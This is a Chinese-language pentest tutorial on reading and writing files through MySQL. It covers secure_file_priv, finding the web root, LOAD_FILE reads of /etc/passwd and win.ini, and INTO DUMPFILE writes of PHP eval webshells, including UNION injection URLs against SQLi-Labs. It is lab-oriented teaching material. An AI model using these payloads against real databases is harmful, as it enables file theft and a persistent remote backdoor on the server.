MySQL 文件读写

如果数据库的配置权限不当,攻击者可以通过 SQL 语句读写文件来进行进一步攻击以获取更多的权限,如读取网站配置文件、修改注册表文件、写入木马等。

1 读写权限判断 / 设置

MySQL 读写关键字段:secure_file_priv

secure_file_priv 关键值:

取值 含义
null 表示不允许读取 / 写入
dir 表示读取 / 写入限制在特定目录下
空值 表示读取 / 写入可以在任意目录下

权限查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select @@secure_file_priv;
+--------------------+
| @@secure_file_priv |
+--------------------+
| NULL |
+--------------------+
1 row in set (0.00 sec)

mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+
1 row in set, 1 warning (0.00 sec)

2 Web 根路径获取

常用 Web 根路径获取有:

  • 基于报错信息

  • 内置函数查询

    • @@datadir

    • @@basedir

  • 文件上传功能点

  • 文件泄露(phpinfo.php

3 文件读取 / 写入

文件读取函数

  • load_file()

文件写入函数

  • into outfile:数据可以写入多行,会进行特殊的格式转换。

  • into dumpfile:数据只能写入出一行,保持原有数据格式。

3.1 本地测试读写

1
2
3
4
5
6
7
8
9
10
11
## 读取
SELECT LOAD_FILE('C:/Windows/win.ini')
SELECT LOAD_FILE('E:/phpstudy_pro/WWW/Hello.txt')

## 写入
SELECT 'heihei' INTO DUMPFILE 'E:/phpstudy_pro/WWW/xixi.txt'
SELECT '<?php phpinfo();?>' INTO DUMPFILE 'E:/phpstudy_pro/WWW/phpinfo.php'

## 写入木马
SELECT '<?php eval($_REQUEST["a"])?>' INTO DUMPFILE 'E:/phpstudy_pro/WWW/shell.php'
SELECT "<?php eval($_REQUEST['a'])?>" INTO DUMPFILE 'E:/phpstudy_pro/WWW/shell1.php'

3.2 SQLi-Labs

3.2.1 Windows

SQLi-Labs(Windows,SQLi-Labs 2)

1
2
3
4
?id=-1 union select 1,2,load_file('C:/Windows/win.ini') 
?id=-1 union select 1,2,@@basedir # E:\phpstudy_pro\Extensions\MySQL5.7.26\
?id=-1 union select 1,2,load_file('E:/phpstudy_pro/WWW/index.html')
?id=-1 union select 1,2,'<?php @eval($_REQUEST[1]);echo 404;?>' into dumpfile 'E:/phpstudy_pro/WWW/shell.php' --+

3.2.2 Linux

SQLi-Labs(Linux,SQLi-Labs 2)

1
2
3
4
?id=-1 union select 1,2,load_file('/etc/passwd')
?id=-1 union select 1,2,@@datadir # /var/lib/mysql/
?id=-1 union select 1,2,load_file('/var/www/html/index.html')
?id=-1 union select 1,2,'<?php @eval($_REQUEST[1]);echo 404;?>' into dumpfile '/var/www/html/shell.php' --+ # Can't create/write to file '/var/www/html/shell.php' (Errcode: 13),作者的镜像有点问题,目录权限不对

权限问题解决:

1
2
3
## 进入容器
docker exec -it container_name /bin/bash
chown -R mysql:mysql /var/www/*